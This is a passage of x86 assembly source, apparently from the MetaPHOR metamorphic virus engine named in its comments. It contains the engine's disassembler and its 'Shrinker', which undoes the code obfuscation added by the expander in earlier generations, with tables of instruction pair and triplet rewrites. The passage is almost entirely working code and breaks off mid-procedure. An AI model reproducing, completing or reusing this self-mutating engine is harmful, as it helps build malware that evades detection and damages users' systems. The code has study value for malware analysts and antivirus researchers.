mov eax, [esi+1] ; Get the second opcode
and eax, 0FFh
cmp eax, 80h ; Long Jcc?
jb @@Op0F_Next00
cmp eax, 8Fh
jbe @@Jcc32 ; If so, jump
@@Op0F_Next00:
cmp eax, 0B6h ; MOVZX?
jz @@Op0F_MOVZX
; cmp eax, 0BEh
; jz @@Op0F_MOVSX
add esi, 2 ; Add two to the EIP and continue
jmp @@SigueInstr
;; I decided to make MOVSX instruction using direct checking and
;; sign extension, because this instruction have little variation when
;; recoding (or it is too much long). Anyway, I left the code (commented)
;; because maybe I decide to put it again, to disassemble whatever code I
;; want to pass to this routine, for example (and not only a semi-controlled
;; code as the engine is).
@@Op0F_MOVZX:
mov eax, 0F8h ; Set the pseudoopcode F8
; jmp @@Op0F_MOVxX
; @@Op0F_MOVSX:
; mov eax, 0FAh
; @@Op0F_MOVxX:
mov [edi], eax
mov eax, [esi+2] ; Get the destiny register
and eax, 38h
shr eax, 3
mov [edi+7], eax ; Set it in the instruction
; mov eax, [esi+2]
; and eax, 0C0h
; cmp eax, 0C0h
; jz @@Op0F_MOVxX_RegReg8
; mov eax, [edi]
; add eax, 1
; mov [edi], al
mov edx, esi ; Decode the referenced memory address
add edx, 2
call DecodeMemoryConstruction
add esi, ebx
add esi, 2
jmp @@NextInstruction
; @@Op0F_MOVxX_RegReg8:
; mov eax, [esi+2]
; and eax, 7
; mov [edi+1], eax
; add esi, 3
; jmp @@NextInstruction
;; For the translation of Jcc (both 8 bits and 32 bits) and CALLs:
;;
;; - If the code exists, translate the destiny address of the point into a
;; label in the label table, and complete the instruction with that label.
;; If the label already exists, use the already existent label, of course.
;;
;; - If the code doesn't exist, we put a reference to this instruction in
;; the "future label table", together with a reference to the code it's
;; trying to access. Later, when that referenced code is disassembled,
;; the instruction (Jcc, CALL, etc.) will be completed.
;;; Conditional 32-bit jump (Jx, JNx)
@@Jcc32: mov eax, [esi+2] ; Get the destiny address in EAX
add eax, esi
add eax, 6
jmp @@ContinueWithBranchInstr
;;; CALL
@@CALL: mov eax, [esi+1] ; Get the destiny address in EAX
add eax, esi
add eax, 5
jmp @@ContinueWithBranchInstr
;;; Conditional 8-bits jump (Jx, JNx)
@@Jcc: mov eax, [esi+1] ; Get the destiny address in EAX
and eax, 0FFh
cmp eax, 7Fh
jbe @@Jcc_01
add eax, 0FFFFFF00h
@@Jcc_01:
add eax, esi
add eax, 2
@@ContinueWithBranchInstr:
mov ecx, eax ; Put the destiny addr. in ECX
call SetInFutureLabelList ; Mark the label and get the
push eax ; label table entry in EAX
mov eax, [esi]
and eax, 0FFh ; Get the opcode
cmp eax, 0Fh ; 0F? (i.e. long Jcc)
jz @@Jcc_Jcc32
;mov [edi], al
cmp eax, 0E8h ; CALL?
jz @@Jcc_AddEIP5 ; Then add 5 to EIP. If not, add 2.
jmp @@Jcc_AddEIP2
@@Jcc_Jcc32:
mov eax, [esi+1] ; Get the conditional jump
and eax, 0FFh
sub eax, 10h ; Transform it to pseudoopcode
@@Jcc_AddEIP6:
inc esi
@@Jcc_AddEIP5:
add esi, 3
@@Jcc_AddEIP2:
add esi, 2 ; Increase the EIP
mov edx, [edi] ; Set the pseudoopcode in EAX
and edx, 0FFFFFF00h
and eax, 0FFh
add eax, edx
mov [edi], eax
pop eax
or eax, eax ; Restore the label table entry pointer.
jz @@NextInstruction ; If it's 0, is because it wasn't
; scanned, so go for next instruction.
call InsertLabel ; Insert the label if the EIP was already
mov [edi+1], edx ; disassembled, and insert it in the
jmp @@NextInstruction ; instruction, completing it.
@@FinDeTraduccion: ; Return!
ret
DisasmCode endp
;; This function is constructed to save lines of code, because this same
;; method was called from several points.
GenOp_SetRegReg proc
push edx
mov edx, [edi]
and edx, 0FFFFFF00h
mov eax, [esi] ; Get the opcode
and eax, 0FFh
cmp eax, 3Fh ; Check the instruction. If it's <= 3F,
jbe @@SRR_01 ; set the same opcode + 1
cmp eax, 85h ; TEST?
jbe @@SRR_02
; cmp eax, 87h ; XCHG?
; jbe @@SRR_03
cmp eax, 8Bh ; MOV?
jbe @@SRR_04
@@SRR_01: and eax, 38h ; Set the OP Reg,Reg
add eax, 1
@@SRR_Store:
add eax, edx
mov [edi], eax ; Store the opcode
pop edx
ret ; Return
@@SRR_02: mov eax, 48h+1 ; Pseudoopcode of TEST Reg,Reg
jmp @@SRR_Store
; @@SRR_03: mov eax, 48h+5
; jmp @@SRR_Store
@@SRR_04: mov eax, 40h+1 ; Pseudoopcode of MOV Reg,Reg
jmp @@SRR_Store
GenOp_SetRegReg endp
;; Function to insert a label from a Jcc or a CALL to future disassembly. If
;; the label is already disassembled, it returns EAX != 0, being EAX the
;; code referenced. If it's not disassembled, we store the label in the table
;; and we'll check for it everytime a leaf of the execution tree is finished.
SetInFutureLabelList proc
mov ebx, [ebp+InstructionTable] ; Get the instructions
cmp ebx, edi ; Are we at the end already?
jz @@SetFutureLabel ; If so, we didn't find that, so
@@LoopCheckLabelForJcc: ; insert the label.
cmp [ebx+0Ch], eax
jz @@Jcc_CodeDefined ; If the code is disassembled, return
add ebx, 10h
cmp ebx, edi ; Get next instruction
jnz @@LoopCheckLabelForJcc
@@SetFutureLabel: ; We didn't find it!
mov edx, [ebp+NumberOfLabelsPost]
shl edx, 3
add edx, [ebp+FutureLabelTable]
mov [edx], eax ; Store the instruction and the
mov [edx+4], edi ; referenced destiny address.
mov eax, [ebp+NumberOfLabelsPost]
add eax, 1 ; Increase the number
mov [ebp+NumberOfLabelsPost], eax ; of labels.
xor eax, eax ; Return 0
@@Jcc_CodeDefined:
ret
SetInFutureLabelList endp
;; Function InsertLabel
;; Simply inserts the address passed into the definitive label list.
;;
;; Params:
;; EAX = Destination address of jump (or call, etc.)
;; EBX = Instruction in list (dissasembled) where EAX points to
;; Returns:
;; ECX undefined
;; EDX = Address in the list where the label has been stored (formerly
;; the type of label we'll use in the instructions).
InsertLabel proc
mov edx, [ebp+LabelTable] ; Get the table
mov ecx, [ebp+NumberOfLabels]
or ecx, ecx ; Check if there's any
jz @@Jcc_InsertaEtiqueta ; If not, insert at first pos.
@@Jcc_LoopEtiqueta:
cmp [edx], eax ; Check if it exists already
jz @@Jcc_EtiquetaYaPuesta ; If it exists, return the ptr
add edx, 8
dec ecx ; Check next
or ecx, ecx
jnz @@Jcc_LoopEtiqueta
@@Jcc_InsertaEtiqueta: ; We didn't find the address, so let's
mov [edx], eax ; insert the new label and return the
mov [edx+4], ebx ; pointer
push eax
mov eax, [ebx+0Bh] ; Set the label mark in the instruction
and eax, 0FFFFFF00h ; we are referencing
add eax, 1
mov [ebx+0Bh], eax
mov eax, [ebp+NumberOfLabels] ; Increase the counter of
add eax, 1 ; labels stored in the table
mov [ebp+NumberOfLabels], eax
pop eax ; Return the label pointer address
@@Jcc_EtiquetaYaPuesta:
ret
InsertLabel endp
;; This function scans the "future labels table" and looks if every entry in
;; the table is pointing to the current EIP. If it is, it inserts a label in
;; the "definitive label table", completes the referenced instruction and
;; continues the check until all the temporary labels that points to that code
;; are released.
ReleaseFutureLabels proc
mov ecx, [ebp+NumberOfLabelsPost] ; Check the number
or ecx, ecx
jz @@SigueInstr ; If it's 0, return
mov ebx, [ebp+FutureLabelTable]
@@LoopCheckFutureLabel:
cmp [ebx], esi ; Check if the current EIP is in the
jz @@FutureLabelFound ; table. If it is, release it.
@@OtraEtiquetaFutura:
add ebx, 8 ; Get the next
dec ecx
or ecx, ecx ; If there are more, loop
jnz @@LoopCheckFutureLabel
@@SigueInstr:
ret
@@FutureLabelFound:
push ecx
push ebx ; Insert a label into the current EIP
mov eax, esi
mov ebx, edi
call InsertLabel
pop ebx ; Returns EDX = label entry
mov eax, [ebx+4] ; Get the address of the instruction to
mov [eax+1], edx ; complete and complete it.
xor ecx, ecx
mov [ebx], ecx ; Eliminate the buffered label
pop ecx
jmp @@OtraEtiquetaFutura ; Jump to get another
ReleaseFutureLabels endp
;; This function decodes a memory reference in an opcode which is pointed by
;; EDX. Since the struct we use for memory codifications is common for all
;; the instructions of the pseudoassembler, the decodification of the memory
;; reference opcodes and fields are equal for all them.
;;
;; EDX = Address to get opcodes from.
;; We must ensure that it's a memory construction.
;; Returns EBX = Length of the memory reference opcodes (opcodes and addition)
DecodeMemoryConstruction proc
mov eax, 00000808h ; Initialize the memory structure
mov [edi+1], eax
xor eax, eax
mov [edi+3], eax
mov ebx, 1 ; Set a length of 1 (at least this
; opcode)
mov eax, [edx] ; Get the opcode
and eax, 7 ; Special opcode?
cmp eax, 4
jz @@ThirdOpcodeUsed ; If so, a third opcode is used
cmp eax, 5 ; Direct memory address?
jz @@DirectMemory ; Jump, then
@@SetBaseRegister:
mov eax, [edx] ; Get the base index
and eax, 7
push edx
mov edx, [edi+1] ; Set it
and edx, 0FFFFFF00h
add eax, edx
pop edx
mov [edi+1], eax
mov eax, [edx] ; Get the type of addition:
and eax, 0C0h
or eax, eax ; No addition?
jz @@NoAddition
cmp eax, 40h ; Byte (with sign extension)?
jz @@ByteAddition
@@DwordAddition:
add ebx, 4 ; Set dword addition (length of 4)
mov eax, [edx+1] ; Get the addition and set it in the
jmp @@SetAddition ; pseudoassembler instruction
@@ByteAddition:
add ebx, 1 ; Set a byte addition (length of 1)
mov eax, [edx+1] ; Get the addition
and eax, 0FFh ; Extend the sign
cmp eax, 7Fh
jbe @@SetAddition
add eax, 0FFFFFF00h
@@SetAddition:
mov [edi+3], eax ; Set the addition value in the instr.
@@NoAddition:
ret ; Return
@@DirectMemory:
mov eax, [edx] ; Get the DWORD of the address
and eax, 0C0h
or eax, eax ; Check if it's EBP
jnz @@SetBaseRegister ; If it's EBP, jump to decode it
jmp @@DwordAddition ; If not, set the addition as a direct
; memory address
;; Here if we use a third opcode
@@ThirdOpcodeUsed:
add ebx, 1 ; Add one more byte to the length
mov eax, [edx+1] ; Get the third opcode
and eax, 38h ; Check the middle index
shr eax, 3
cmp eax, 4 ; If it's ESP then we use only one
jz @@IgnoreScalarRegister
mov ecx, eax ; Get the multiplicator (or scalar)
mov eax, [edx+1] ; from the bits 7&6 of the third
and eax, 0C0h ; opcode, and after that set the
or eax, ecx ; register into the pseudoassembler
push edx ; instruction
mov edx, [edi+2]
and edx, 0FFFFFF00h
and eax, 0FFh
add eax, edx
pop edx
mov [edi+2], eax
@@IgnoreScalarRegister:
mov eax, [edx] ; Get the second opcode
and eax, 0C0h ; Are we adding something?
or eax, eax ; If we don't, EBP in the low bits of
jz @@EBPMeansDwordAddition ; the third opcode means DWORD
mov eax, [edx+1] ; addition
and eax, 7 ; Get the low index at 3rd
push edx
mov edx, [edi+1] ; Set the index at first position
and edx, 0FFFFFF00h ; in the memory struct
add eax, edx
pop edx
mov [edi+1], eax
mov eax, [edx] ; Get the addition from the 2nd opcode
and eax, 0C0h
cmp eax, 40h
jz @@ByteAddition2 ; Byte addition (sign extended)?
@@DwordAddition2:
add ebx, 4 ; Add the DWORD addition length, get
mov eax, [edx+2] ; the addition DWORD and jump.
jmp @@SetAddition2
@@ByteAddition2:
add ebx, 1 ; Set BYTE addition length, get the
mov eax, [edx+2] ; addition BYTE, extend the sign of
and eax, 0FFh ; it and store it
cmp eax, 7Fh
jbe @@SetAddition2
add eax, 0FFFFFF00h
@@SetAddition2:
mov [edi+3], eax ; Store the addition and return
ret
@@EBPMeansDwordAddition:
mov eax, [edx+1] ; Get the low register at 3rd opcode
and eax, 7
cmp eax, 5 ; Check if it's EBP
jz @@DwordAddition2 ; If it isn't, jump to decode only the
push edx ; addition (EBP is a special case in
mov edx, [edi+1] ; this case)
and edx, 0FFFFFF00h
add eax, edx ; If not, set the index register at
pop edx ; the first slot of the index position
mov [edi+1], eax ; in the memory reference structure
ret ; and return.
DecodeMemoryConstruction endp
;;
;;
;; End of the disassembler
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; KEYWORD: Key_!Shrinker
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; *********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The Shrinker
;; ------------
;;
;; Required parameters:
;; [InstructionTable] = Pointer to first instruction in instruction table
;; [AddressOfLastInstruction] = The limit of the disassembly
;;
;; This function will eliminate all the obfuscation done by the expander in
;; previous generations. The compression is made by single instructions, pairs
;; or triplets. The work is performed in the pseudo-ASM the disassembler
;; generated, so the modifications are easier.
;;
;; The single, pairs and triplets scanned are the following (extracted from
;; the article I wrote about this engine):
;;
;; ---------------------------------------------------------------------------
;;
;; Legend:
;; Reg: A register
;; Mem: A memory address
;; Imm: Immediate
;;
;; When in an instruction is Reg,Reg or something like that, both are the
;; same register. If they are different, I write it as Reg,Reg2 (for example).
;;
;; Transformations over single instructions:
;;
;; XOR Reg,-1 --> NOT Reg
;; XOR Mem,-1 --> NOT Mem
;; MOV Reg,Reg --> NOP
;; SUB Reg,Imm --> ADD Reg,-Imm
;; SUB Mem,Imm --> ADD Mem,-Imm
;; XOR Reg,0 --> MOV Reg,0
;; XOR Mem,0 --> MOV Mem,0
;; ADD Reg,0 --> NOP
;; ADD Mem,0 --> NOP
;; OR Reg,0 --> NOP
;; OR Mem,0 --> NOP
;; AND Reg,-1 --> NOP
;; AND Mem,-1 --> NOP
;; AND Reg,0 --> MOV Reg,0
;; AND Mem,0 --> MOV Mem,0
;; XOR Reg,Reg --> MOV Reg,0
;; SUB Reg,Reg --> MOV Reg,0
;; OR Reg,Reg --> CMP Reg,0
;; AND Reg,Reg --> CMP Reg,0
;; TEST Reg,Reg --> CMP Reg,0
;; LEA Reg,[Imm] --> MOV Reg,Imm
;; LEA Reg,[Reg+Imm] --> ADD Reg,Imm
;; LEA Reg,[Reg2] --> MOV Reg,Reg2
;; LEA Reg,[Reg+Reg2] --> ADD Reg,Reg2
;; LEA Reg,[Reg2+Reg2+xxx] --> LEA Reg,[2*Reg2+xxx]
;; MOV Reg,Reg --> NOP
;; MOV Mem,Mem --> NOP (result of a compression of
;; PUSH Mem/POP Mem, with pseudoopcode 4F)
;;
;; The instructions that are eliminated (the ones that mean NOP) are be used
;; as garbage along the executable code. Since every NOP instruction can be
;; expanded (for example, MOV Reg,Reg can be set as PUSH Reg/POP Reg, and every
;; PUSH and POP also can be expanded, and so on) you can't know what's garbage
;; and what's not until you have compressed everything.
;;
;; The pairs of instructions that MetaPHOR can compress are:
;;
;; PUSH Imm / POP Reg --> MOV Reg,Imm
;; PUSH Imm / POP Mem --> MOV Mem,Imm
;; PUSH Reg / POP Reg2 --> MOV Reg2,Reg
;; PUSH Reg / POP Mem --> MOV Mem,Reg
;; PUSH Mem / POP Reg --> MOV Reg,Mem
;; PUSH Mem / POP Mem2 --> MOV Mem2,Mem (codificated
;; with pseudoopcode 4F)
;; MOV Mem,Reg/PUSH Mem --> PUSH Reg
;; POP Mem / MOV Reg,Mem --> POP Reg
;; POP Mem2 / MOV Mem,Mem2 --> POP Mem
;; MOV Mem,Reg / MOV Reg2,Mem --> MOV Reg2,Reg
;; MOV Mem,Imm / PUSH Mem --> PUSH Imm
;; MOV Mem,Imm / OP Reg,Mem --> OP Reg,Imm
;; MOV Reg,Imm / ADD Reg,Reg2 --> LEA Reg,[Reg2+Imm]
;; MOV Reg,Reg2 / ADD Reg,Imm --> LEA Reg,[Reg2+Imm]
;; MOV Reg,Reg2 / ADD Reg,Reg3 --> LEA Reg,[Reg2+Reg3]
;; ADD Reg,Imm / ADD Reg,Reg2 --> LEA Reg,[Reg+Reg2+Imm]
;; ADD Reg,Reg2 / ADD Reg,Imm --> LEA Reg,[Reg+Reg2+Imm]
;; OP Reg,Imm / OP Reg,Imm2 --> OP Reg,(Imm OP Imm2)
;; (must be calculated)
;; OP Mem,Imm / OP Mem,Imm2 --> OP Mem,(Imm OP Imm2)
;; (must be calculated)
;; LEA Reg,[Reg2+Imm] / ADD Reg,Reg3 --> LEA Reg,[Reg2+Reg3+Imm]
;; LEA Reg,[(RegX+)Reg2+Imm] / ADD Reg,Reg2 -> LEA Reg,[(RegX+)2*Reg2+Imm]
;; POP Mem / PUSH Mem --> NOP
;; MOV Mem2,Mem / MOV Mem3,Mem2 --> MOV Mem3,Mem
;; MOV Mem2,Mem / OP Reg,Mem2 --> OP Reg,Mem
;; MOV Mem2,Mem / MOV Mem2,xxx --> MOV Mem2,xxx
;; MOV Mem,Reg / CALL Mem --> CALL Reg
;; MOV Mem,Reg / JMP Mem --> JMP Reg
;; MOV Mem2,Mem / CALL Mem2 --> CALL Mem
;; MOV Mem2,Mem / JMP Mem2 --> JMP Mem
;; MOV Mem,Reg / MOV Mem2,Mem --> MOV Mem2,Reg
;; OP Reg,xxx / MOV Reg,yyy --> MOV Reg,yyy
;; Jcc @xxx / !Jcc @xxx --> JMP @xxx (this applies to
;; (Jcc & 0FEh) with (Jcc | 1)
;; NOT Reg / NEG Reg --> ADD Reg,1
;; NOT Reg / ADD Reg,1 --> NEG Reg
;; NOT Mem / NEG Mem --> ADD Mem,1
;; NOT Mem / ADD Mem,1 --> NEG Mem
;; NEG Reg / NOT Reg --> ADD Reg,-1
;; NEG Reg / ADD Reg,-1 --> NOT Reg
;; NEG Mem / NOT Mem --> ADD Mem,-1
;; NEG Mem / ADD Mem,-1 --> NOT Mem
;; CMP X,Y / != Jcc (CMP without Jcc) --> NOP
;; TEST X,Y / != Jcc --> NOP
;; POP Mem / JMP Mem --> RET
;; PUSH Reg / RET --> JMP Reg
;; CALL Mem / MOV Mem2,EAX --> CALL Mem / APICALL_STORE Mem2
;; MOV Reg,Mem / CALL Reg --> CALL Mem
;; XOR Reg,Reg / MOV Reg8,[Mem] --> MOVZX Reg,byte ptr [Mem]
;; MOV Reg,[Mem] / AND Reg,0FFh --> MOVZX Reg,byte ptr [Mem]
;;
;;
;; Maybe there are more, but this set is sufficient, at least for our
;; proposits. What we do know is scan the code for this situations and then we
;; substitute the first instruction by their equivalent and we overwrite with
;; NOP the second, so the instructions are compressed.
;;
;; But there are more: the triplets:
;;
;; MOV Mem,Reg
;; OP Mem,Reg2
;; MOV Reg,Mem --> OP Reg,Reg2
;;
;; MOV Mem,Reg
;; OP Mem,Imm
;; MOV Reg,Mem --> OP Reg,Imm
;;
;; MOV Mem,Imm
;; OP Mem,Reg
;; MOV Reg,Mem --> OP Reg,Imm (it can't be SUB)
;;
;; MOV Mem2,Mem
;; OP Mem2,Reg
;; MOV Mem,Mem2 --> OP Mem,Reg
;;
;; MOV Mem2,Mem
;; OP Mem2,Imm
;; MOV Mem,Mem2 --> OP Mem,Imm
;;
;; CMP Reg,Reg
;; JO/JB/JNZ/JA/JS/JNP/JL/JG @xxx
;; != Jcc --> NOP
;;
;; CMP Reg,Reg
;; JNO/JAE/JZ/JBE/JNS/JP/JGE/JLE @xxx
;; != Jcc --> JMP @xxx
;;
;; MOV Mem,Imm
;; CMP/TEST Reg,Mem
;; Jcc @xxx --> CMP/TEST Reg,Imm
;; Jcc @xxx
;; MOV Mem,Reg
;; SUB/CMP Mem,Reg2
;; Jcc @xxx --> CMP Reg,Reg2
;; Jcc @xxx
;; MOV Mem,Reg
;; AND/TEST Mem,Reg2
;; Jcc @xxx --> TEST Reg,Reg2
;; Jcc @xxx
;; MOV Mem,Reg
;; SUB/CMP Mem,Imm
;; Jcc @xxx --> CMP Reg,Imm
;; Jcc @xxx
;; MOV Mem,Reg
;; AND/TEST Mem,Imm
;; Jcc @xxx --> TEST Reg,Imm
;; Jcc @xxx
;; MOV Mem2,Mem
;; CMP/TEST Reg,Mem2
;; Jcc @xxx --> CMP/TEST Reg,Mem
;; Jcc @xxx
;; MOV Mem2,Mem
;; AND/TEST Mem2,Reg
;; Jcc @xxx --> TEST Mem,Reg
;; Jcc @xxx
;; MOV Mem2,Mem
;; SUB/CMP Mem2,Reg
;; Jcc @xxx --> CMP Mem,Reg
;; Jcc @xxx
;; MOV Mem2,Mem
;; AND/TEST Mem2,Imm
;; Jcc @xxx --> TEST Mem,Imm
;; Jcc @xxx
;; MOV Mem2,Mem
;; SUB/CMP Mem2,Imm
;; Jcc @xxx --> CMP Mem,Imm
;; Jcc @xxx
;; PUSH EAX
;; PUSH ECX
;; PUSH EDX --> APICALL_BEGIN
;;
;; POP EDX
;; POP ECX
;; POP EAX --> APICALL_END
;;
;; POP EDX
;; POP ECX
;; POP EBX
;; POP EAX --> LINUX_GETPARAMS
;;
;;----------------------------------------------------------------------------
;;
;; ShrinkCode acts over the disassembled buffer in [InstructionTable].
;;
ShrinkCode proc
mov edi, [ebp+InstructionTable]
mov eax, [edi]
and eax, 0FFh ; Get pseudo-opcode
call CheckIfInstructionUsesMem ; Uses a memory address?
or eax, eax
jz @@Shrink ; If not, continue
call OrderRegs ; Order the indexes of the instruction
; from lower to upper
@@Shrink: mov eax, [edi]
and eax, 0FFh ; Get pseudo-op
cmp eax, 0FFh ; Is it NOP?
jz @@IncreaseEIP ; If so, increase pointer
call ShrinkThisInstructions ; Check for singles, pairs or
; triplets
or eax, eax ; Do we performed a compression?
jz @@IncreaseEIP ; If we don't, increase pointer
call DecreaseEIP ; Decrease the pointer three instructions
call DecreaseEIP ; to get a possible matching group with
call DecreaseEIP ; the two above.
jmp @@Shrink ; Check again
@@IncreaseEIP:
call IncreaseEIP ; Increase pointer
cmp edi, [ebp+AddressOfLastInstruction] ; Last instruction?
jnz @@Shrink ; If not, check next group
@@DecreaseAddressOfLastInstruction:
sub edi, 10h ; Now we eliminate the remaining NOPs
mov eax, [edi] ; at the end of all the instructions.
and eax, 0FFh
cmp eax, 0FFh
jnz @@LastInstructionOK
mov [ebp+AddressOfLastInstruction], edi
jmp @@DecreaseAddressOfLastInstruction
@@LastInstructionOK:
;; Second pass to find APICALL_BEGIN, APICALL_END, SET_WEIGHT and
;; LINUX_GETPARAMS
mov edi, [ebp+InstructionTable]
@@FindAPICALL_X:
@@GetFirstInstruction:
call IncreaseEIP2 ; Increase pointer
cmp eax, -1 ; End of instruction table?
jz @@EndOfScan ; If so, finish the search
mov eax, [edi]
and eax, 0FFh
cmp eax, 0FDh
jnz @@Check_SET_WEIGHT
push edi
mov esi, edi
call IncreaseEIP2
or eax, eax
jnz @@ItsNot_LINUX_SYSCALL
mov eax, [edi]
and eax, 0FFh
cmp eax, 43h
jnz @@ItsNot_LINUX_SYSCALL
mov al, [edi+7]
or eax, eax
jnz @@ItsNot_LINUX_SYSCALL
mov eax, 0FBh
mov [esi], eax
mov eax, [edi+1]
mov [esi+1], eax
mov eax, [edi+3]
mov [esi+3], eax
mov eax, 0FFh
mov [edi], eax
pop esi
jmp @@FindAPICALL_X
@@Check_SET_WEIGHT:
mov eax, [edi]
and eax, 0FFh
cmp eax, 50h
jnz @@ItsNot_SET_WEIGHT
push edi
mov esi, edi
call IncreaseEIP2
or eax, eax
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [edi]
and eax, 0FFh
cmp eax, 40h
jnz @@ItsNot_SET_WEIGHT_2
mov edx, edi
call IncreaseEIP2
or eax, eax
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [edi]
and eax, 0FFh
cmp eax, 40h
jnz @@ItsNot_SET_WEIGHT_2
mov ecx, edi
call IncreaseEIP2
or eax, eax
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [edi]
and eax, 0FFh
cmp eax, 43h
jnz @@ItsNot_SET_WEIGHT_2
mov ebx, edi
call IncreaseEIP2
or eax, eax
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [edi]
and eax, 0FFh
cmp eax, 58h
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [esi+1]
and eax, 0FFh
mov esi, eax
mov eax, [edx+1]
and eax, 0FFh
cmp eax, esi
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [edi+1]
and eax, 0FFh
cmp eax, esi
jnz @@ItsNot_SET_WEIGHT_2
mov esi, [ecx+1]
and esi, 0FFh
mov eax, [ebx+7]
and eax, 0FFh
cmp eax, esi
jnz @@ItsNot_SET_WEIGHT_2
pop esi
mov eax, 0F7h ; SET_WEIGHT
mov [esi], al
mov eax, [esi+1]
mov [esi+9], al
mov eax, [ebx+1]
mov [esi+1], eax
mov eax, [ebx+3]
mov [esi+3], eax
mov eax, [edx+7]
mov [esi+7], al
mov eax, [ecx+1]
mov [esi+8], al
mov eax, 0FFh
mov [edx], eax
mov [ecx], eax
mov [ebx], eax
mov [edi], eax
; jmp @@AllOK
jmp @@FindAPICALL_X
@@ItsNot_SET_WEIGHT_2:
@@ItsNot_LINUX_SYSCALL:
pop edi
@@ItsNot_SET_WEIGHT:
@@AllOK:
@@CheckAPICALL_X:
mov edx, edi ; Save pointer in EDX
push edi
@@GetSecondInstruction:
call IncreaseEIP2 ; Get next
cmp eax, -1 ; End of code?
jz @@EndOfScan ; Finish, then
or eax, eax ; Label over the instruction?
jnz @@EndOfTriplet ; If there's label, ignore the group
mov esi, edi ; Put pointer in ESI
@@GetThirdInstruction:
call IncreaseEIP2 ; Do the same: increase pointer and check
cmp eax, -1 ; for end of code or a label over the
jz @@EndOfScan ; instruction
or eax, eax
jnz @@EndOfTriplet
mov eax, [edx] ; Get the first instruction
and eax, 0FFh
cmp eax, 50h ; PUSH Reg?
jnz @@FindAPICALL_END ; If not, check next instruction
mov eax, [esi] ; Get the second instruction
and eax, 0FFh
cmp eax, 50h ; PUSH Reg?
jnz @@FindAPICALL_END ; If not, next instruction
mov eax, [edi] ; Get the third instruction
and eax, 0FFh
cmp eax, 50h ; PUSH Reg?
jnz @@FindAPICALL_END ; If not, next instruction
mov eax, [edx+1]
and eax, 0FFh
or eax, eax ; First instruction is PUSH EAX?
jnz @@FindAPICALL_END ; If it isn't, it's not APICALL_*
mov eax, [esi+1]
and eax, 0FFh
cmp eax, 1 ; Is it PUSH ECX?
jnz @@FindAPICALL_END ; If not, check other
mov eax, [edi+1]
and eax, 0FFh
cmp eax, 2 ; Is it PUSH EDX
jnz @@FindAPICALL_END ; If not, check other
mov eax, 0F4h ; APICALL_BEGIN
@@SetAPICALL_X:
mov [edx], eax ; Set instruction
mov eax, 0FFh
mov [esi], eax ; NOP the second and third instruction
mov [edi], eax
jmp @@EndOfTriplet ; Check next group
@@FindAPICALL_END:
mov eax, [edx] ; Get the first instruction
and eax, 0FFh
cmp eax, 58h ; POP Reg?
jnz @@EndOfTriplet ; If not, next group
mov eax, [esi] ; Check the second instruction
and eax, 0FFh
cmp eax, 58h ; POP Reg?
jnz @@EndOfTriplet ; If not, next group
mov eax, [edi] ; Get the third instruction
and eax, 0FFh
cmp eax, 58h ; POP Reg?
jnz @@EndOfTriplet ; If not, next group
mov ecx, edi ; Check LINUX_GETPARAMS
call IncreaseEIP2
cmp eax, -1
jz @@EndOfScan
or eax, eax
jnz @@CheckAPICALL_END
mov eax, [edi]
and eax, 0FFh
cmp eax, 58h
jnz @@CheckAPICALL_END
mov eax, [edx+1]
and eax, 0FFh
cmp eax, 2
jnz @@CheckAPICALL_END
mov eax, [esi+1]
and eax, 0FFh
cmp eax, 1
jnz @@CheckAPICALL_END
mov eax, [ecx+1]
and eax, 0FFh
cmp eax, 3
jnz @@CheckAPICALL_END
mov eax, [edi+1]
and eax, 0FFh
or eax, eax
jnz @@CheckAPICALL_END
mov eax, 0FFh
mov [ecx], eax
mov eax, 0FAh ; Set LINUX_GETPARAMS
jmp @@SetAPICALL_X
@@CheckAPICALL_END:
mov edi, ecx
mov eax, [edx+1]
and eax, 0FFh
cmp eax, 2 ; First instruction = POP EDX?
jnz @@EndOfTriplet ; If not, check next group
mov eax, [esi+1]
and eax, 0FFh
cmp eax, 1 ; Second instruction = POP ECX?
jnz @@EndOfTriplet ; If not, check next group
mov eax, [ecx+1]
and eax, 0FFh
or eax, eax ; Third instruction = POP EAX?
jnz @@EndOfTriplet ; If not, check next group
mov eax, 0F5h ; Set APICALL_END
jmp @@SetAPICALL_X
@@EndOfTriplet:
pop edi ; Restore pointer and check next triplet
jmp @@FindAPICALL_X
@@EndOfScan:
pop edi
ret
ShrinkCode endp
;; Function used while we scan for APICALL_BEGIN and APICALL_END
IncreaseEIP2 proc
cmp edi, [ebp+AddressOfLastInstruction]
jz @@EndOfScan
add edi, 10h ; Increase instruction pointer
cmp edi, [ebp+AddressOfLastInstruction]
jz @@EndOfScan ; If we finished the code, return -1
mov eax, [edi] ; Get the instruction
and eax, 0FFh
cmp eax, 0FFh ; If it's NOP, increase again
jz IncreaseEIP2
mov eax, [edi+0Bh] ; Get the label flag
and eax, 0FFh ; Return 1 if the instruction has a
ret ; label pointing to it or 0 if it doesn't have it
@@EndOfScan:
mov eax, -1
ret
IncreaseEIP2 endp
;; Function that decreases the instruction pointer. It will decrease while
;; the instruction is NOP, unless it's the first or it's labelled.
DecreaseEIP proc
@@Again: cmp edi, [ebp+InstructionTable] ; if we are just at the
jz @@OK ; beginning, return
mov eax, [edi+0Bh] ; Check label
and eax, 0FFh ; If the current instruction is labelled,
or eax, eax ; finish the decreasing
jnz @@OK
sub edi, 10h ; Decrease the pointer
mov eax, [edi]
and eax, 0FFh
cmp eax, 0FFh ; Is it NOP?
jz @@Again ; If it is, decrease again
@@OK: ret
DecreaseEIP endp
;; Function that increases the instruction pointer. It will increase until
;; the current instruction isn't NOP or it's the last instruction of the code.
IncreaseEIP proc
mov ecx, [ebp+AddressOfLastInstruction]
cmp edi, ecx ; Pointing to last instruction?
jz @@_End ; If so, end
@@Again: add edi, 10h ; Check next
cmp edi, ecx ; Last instruction?
jz @@_End ; If so, end
mov eax, [edi+0Bh] ; Check if it's labelled
